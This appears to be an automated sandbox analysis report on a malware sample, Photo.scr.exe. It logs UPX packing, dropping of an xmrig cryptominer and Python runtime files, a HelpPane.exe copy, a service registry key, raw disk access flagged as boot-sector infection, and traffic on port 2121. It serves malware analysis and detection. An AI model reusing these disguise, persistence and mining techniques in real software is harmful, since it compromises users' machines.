Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: 1_2_1E7ABEB5 push ecx; ret	1_2_1E7ABEC8

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 0_2_001D46C0 MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_001D46C0

Source: netifaces.pyd.0.dr	Static PE information: section name: UPX2
Source: psutil._psutil_windows.pyd.0.dr	Static PE information: section name: UPX2
Source: pyexpat.pyd.0.dr	Static PE information: section name: UPX2
Source: select.pyd.0.dr	Static PE information: section name: UPX2
Source: Crypto.Cipher._AES.pyd.0.dr	Static PE information: section name: UPX2
Source: _ctypes.pyd.0.dr	Static PE information: section name: UPX2
Source: _hashlib.pyd.0.dr	Static PE information: section name: UPX2
Source: _socket.pyd.0.dr	Static PE information: section name: UPX2
Source: _ssl.pyd.0.dr	Static PE information: section name: UPX2
Source: bz2.pyd.0.dr	Static PE information: section name: UPX2
Source: unicodedata.pyd.0.dr	Static PE information: section name: UPX2
Source: back.jpg.0.dr	Static PE information: section name: UPX2
Source: Crypto.Cipher._AES.pyd.6.dr	Static PE information: section name: UPX2
Source: _ctypes.pyd.6.dr	Static PE information: section name: UPX2
Source: _hashlib.pyd.6.dr	Static PE information: section name: UPX2
Source: _socket.pyd.6.dr	Static PE information: section name: UPX2
Source: _ssl.pyd.6.dr	Static PE information: section name: UPX2
Source: bz2.pyd.6.dr	Static PE information: section name: UPX2
Source: netifaces.pyd.6.dr	Static PE information: section name: UPX2
Source: psutil._psutil_windows.pyd.6.dr	Static PE information: section name: UPX2
Source: pyexpat.pyd.6.dr	Static PE information: section name: UPX2
Source: select.pyd.6.dr	Static PE information: section name: UPX2
Source: unicodedata.pyd.6.dr	Static PE information: section name: UPX2
Source: back.jpg.6.dr	Static PE information: section name: UPX2

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: PyDict_New,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,__aulldiv,__aulldiv,Py_BuildValue,PyDict_SetItemString,GetLastError,GetLastError,GetLastError,CloseHandle,PyErr_SetFromWindowsErr,CloseHandle, \\.\PhysicalDrive%d	1_2_02763F40
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: PyDict_New,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,__aulldiv,__aulldiv,Py_BuildValue,PyDict_SetItemString,GetLastError,GetLastError,GetLastError,CloseHandle,PyErr_SetFromWindowsErr,CloseHandle, PhysicalDrive%i	1_2_02763F40
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: PyDict_New,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,__aulldiv,__aulldiv,Py_BuildValue,PyDict_SetItemString,GetLastError,GetLastError,GetLastError,CloseHandle,PyErr_SetFromWindowsErr,CloseHandle, DeviceIoControl -> ERROR_INVALID_FUNCTION; ignore PhysicalDrive%i	1_2_02763F40
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: PyDict_New,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,__aulldiv,__aulldiv,Py_BuildValue,PyDict_SetItemString,GetLastError,GetLastError,GetLastError,CloseHandle,PyErr_SetFromWindowsErr,CloseHandle, DeviceIoControl -> ERROR_NOT_SUPPORTED; ignore PhysicalDrive%i	1_2_02763F40

Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\back.jpg	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\back.jpg	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\back.jpg	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\back.jpg	Jump to dropped file

Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\win32event.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\msvcm90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\python27.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\_socket.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\win32evtlog.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\python27.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\python27.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\bz2.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\win32evtlog.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\back.jpg	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\select.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\win32api.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\Crypto.Cipher._AES.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\xmrig.exe	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\back.jpg	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\win32event.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\msvcp90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\select.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\psutil._psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\win32evtlog.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\msvcr90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\msvcr90.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\msvcr90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\back.jpg	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\psutil._psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\servicemanager.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\select.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\win32service.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\pywintypes27.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\msvcm90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\servicemanager.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\servicemanager.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\xmrig.exe	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\psutil._psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\win32service.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\msvcm90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\msvcm90.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\_socket.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\netifaces.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\netifaces.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\win32service.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\pywintypes27.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\msvcp90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\win32api.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\win32service.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\bz2.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\pywintypes27.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\msvcp90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\python27.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\HelpPane.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\Crypto.Cipher._AES.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\msvcr90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\bz2.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\xmrig.exe	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\xmrig.exe	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\netifaces.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\Crypto.Cipher._AES.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\win32api.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\perfmon.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\perfmon.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\Crypto.Cipher._AES.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\psutil._psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\netifaces.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\win32event.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\perfmon.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\perfmon.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Temp\xmrig.exe	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\back.jpg	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\msvcp90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\bz2.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI63722\pywintypes27.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\win32api.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\servicemanager.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Photo.scr.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI69002\win32evtlog.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI60842\win32event.pyd	Jump to dropped file

Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\win32service.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\win32evtlog.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\win32event.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\back.jpg	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\perfmon.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\psutil._psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\bz2.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\servicemanager.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\Temp\xmrig.exe	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\python27.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\msvcr90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\msvcp90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\xmrig.exe	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\win32api.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\pywintypes27.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\netifaces.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\msvcm90.dll	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\Crypto.Cipher._AES.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\select.pyd	Jump to dropped file
Source: C:\Users\user\HelpPane.exe	File created: C:\Windows\Temp\_MEI60722\_socket.pyd	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\HelpPane.exe

Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: PyDict_New,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,__aulldiv,__aulldiv,Py_BuildValue,PyDict_SetItemString,GetLastError,GetLastError,GetLastError,CloseHandle,PyErr_SetFromWindowsErr,CloseHandle, \\.\PhysicalDrive%d	1_2_02763F40
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: PyDict_New,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,__aulldiv,__aulldiv,Py_BuildValue,PyDict_SetItemString,GetLastError,GetLastError,GetLastError,CloseHandle,PyErr_SetFromWindowsErr,CloseHandle, PhysicalDrive%i	1_2_02763F40
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: PyDict_New,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,__aulldiv,__aulldiv,Py_BuildValue,PyDict_SetItemString,GetLastError,GetLastError,GetLastError,CloseHandle,PyErr_SetFromWindowsErr,CloseHandle, DeviceIoControl -> ERROR_INVALID_FUNCTION; ignore PhysicalDrive%i	1_2_02763F40
Source: C:\Users\user\Desktop\Photo.scr.exe	Code function: PyDict_New,CreateFileA,DeviceIoControl,GetLastError,DeviceIoControl,__aulldiv,__aulldiv,Py_BuildValue,PyDict_SetItemString,GetLastError,GetLastError,GetLastError,CloseHandle,PyErr_SetFromWindowsErr,CloseHandle, DeviceIoControl -> ERROR_NOT_SUPPORTED; ignore PhysicalDrive%i	1_2_02763F40

Drops PE files to the user root directory

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\HelpPane.exe

Jump to dropped file

Source: C:\Users\user\HelpPane.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\StateftpService\PythonClass

Jump to behavior

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 1_2_02767AA0 PyArg_ParseTuple,StartServiceA,CloseServiceHandle,_Py_NoneStruct,_Py_NoneStruct,

1_2_02767AA0

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 53608 -> 2121
Source: unknown	Network traffic detected: HTTP traffic on port 2121 -> 54511
Source: unknown	Network traffic detected: HTTP traffic on port 2121 -> 54726

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 0_2_001D2AF0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_001D2AF0

Source: C:\Users\user\Desktop\Photo.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Photo.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\xmrig.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Temp\xmrig.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Temp\xmrig.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\spoolsv.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\spoolsv.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\HelpPane.exe TID: 6004	Thread sleep time: -1440000s >= -30000s	Jump to behavior
